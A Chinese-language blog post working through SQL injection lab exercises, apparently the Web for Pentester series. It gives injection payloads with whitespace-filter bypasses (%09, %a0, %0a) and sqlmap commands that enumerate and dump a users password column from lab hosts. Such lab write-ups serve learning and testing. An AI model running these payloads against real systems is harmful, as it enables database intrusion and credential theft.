2018-05-14-sql注入

作者: 最初的美好_kai | 来源:发表于2018-05-22 13:25 被阅读10次

sql injection 1:

图一

这道题木一看就知道是未对root输入进行净化或者过滤,因此直接需要闭合标签再注释就好了,如下

name=root' or 1=1 -- -,其中-- -是mysql的注释符号。如图:

图二

还有一点注意的地方在于我们写符号注意不能开中文输入法....

sqlmap实例如下:

sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --dbs --banner

--dbs是列举数据库, --banner是直接获取数据库banner信息。如下图:

图三

这里可以继续深入进去,学一下sqlmap用法,例如:

sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --current-user获取当前用户名,--current-db是获取当前数据库。

图四

sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root"  --table  -D exercises获取数据库表名。

图五

sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root"  --column   -T  users获取列名

图六

然后就是脱裤了,直接上 sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --dump -C passwd -T users -D exercises 效果如下:

图七

然后发现原来sqlmap也能getshell,具体命令如下:

图七 图八

当然最后没成功,因为路径不对,他的路径不是默认路径,需要用字典先去暴。。。

sql injection 2:

这道题目代码如下:

图九

本题目主要是针对url中出现的空格做正则表达式匹配,我们主要是要绕过这个限制,可以通过url编码tab键来进行绕过,tab的URL编码是%09,因此可以构造payload如下:

http://172.18.139.118/sqli/example2.php?name=root'%09or%091=1%09--%09-,效果如下:

图十

此外,对这种情况可以直接由sqlmap解决:

sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --tamper=space2comment

图十一

sql injection3:

这道题目主要是对所有空格以及和空格相关的符号都去掉,例如tab键等等,源代码如下所示:

图十二

遇到这种情况可以采用所谓的url编码解决,我用%a0来代替空格,构造的payload如下所示:

http://172.18.238.200/sqli/example3.php?name=root%27%a0or%a01=1%a0--%a0-,结果如下所示:

图十三

sql injection4:

这道题目主要对特殊字符进行转义,包括\x00, \, \n, \r, ' ,"等

图十四

但是这道题目我觉得出的不好地方在于。。。注入点是数字型参数,不需要用到这些字符。。,直接构造payload:http://172.18.238.200/sqli/example4.php?id=2%20or%201=1就ok了,如图

图十五

sql injection5:

第五题做法同第四,没啥区别。。。。

sql injection6:

同第五.....

sql injection7:

这道题目看了源码就是知道过滤了空格相关的字符以及对数字进行正则表达式匹配,上图:

图十六

因此我们根据前面的方法构造payload=http://172.18.238.200/sqli/example7.php?id=2%0aor%0a1=1

即是所有空格都用%0a来代替,直接就绕过了。

图十七

这道题木在sqlmap上遇到点问题,我使用sqlmap -u "http://172.18.238.200/sqli/example7.php?id=2" --dbs 的时候发现显示其为静态参数,如下:

图十八

但是我在id=2后面加上%0a再跑sqlmap就可以了,后来查到这个叫做sql换行污染,通过用换行%0a代替空格,再加上其他字符什么的(也可以不要)直接就行了。

图十九

sql injection8:

这道题目再待参考。。。

sql injection9:

这道题目是基于布尔值的盲注,直接用if语句,如下:

图二十一

sqlmap直接跑就行:

图二十二 图二十三

拖了个库。。。

相关文章

  • 2018-05-14-sql注入

    sql injection 1: 这道题木一看就知道是未对root输入进行净化或者过滤,因此直接需要闭合标签再注释...

  • Day62 Spring 依赖注入源码解析

    手动注入自动注入 依赖注入,set注入,构造注入 依赖注入: Key依据 byType byName constr...

  • Groovy:元编程(方法注入)

    category分类注入 使用metaclass实现方法注入 静态方法注入 构造函数注入 混合注入

  • sql注入的一些笔记

    注入分类 数字型注入 -字符型注入 搜索型注入 XX型注入 注入提交方式 -get提交-post提交-cookie...

  • Spring三种bean注入方式

    Spring中依赖注入有三种注入方式:一、构造器注入;二、设值注入(setter方式注入);三、Feild方式注入...

  • Spring Bean 装配

    依赖注入的方式 依赖注入可以分为3种方式: 构造器注入。 setter注入。 接口注入。 其中构造器注入和 set...

  • Spring 学习心得(二)

    Spring IOC again 参数值注入 注入基本值 注入Bean对象 注入Spring表达式值 注入nul...

  • Spring之依赖注入

    六、依赖注入 目录:构造器注入、set注入、拓展注入实现、Bean的作用域依赖注入(Dependency Inje...

  • Spring的复杂类型注入

    注入方式 set方式注入,注入基本数值类型和引用类型 数组类型注入

  • spring

    18.7.22属性注入和构造器注入区别Spring也同时支持两种依赖注入方式:设值注入和构造注入。 这两种依赖注入...

网友评论

    本文标题:2018-05-14-sql注入

    本文链接:https://www.haomeiwen.com/subject/uorddftx.html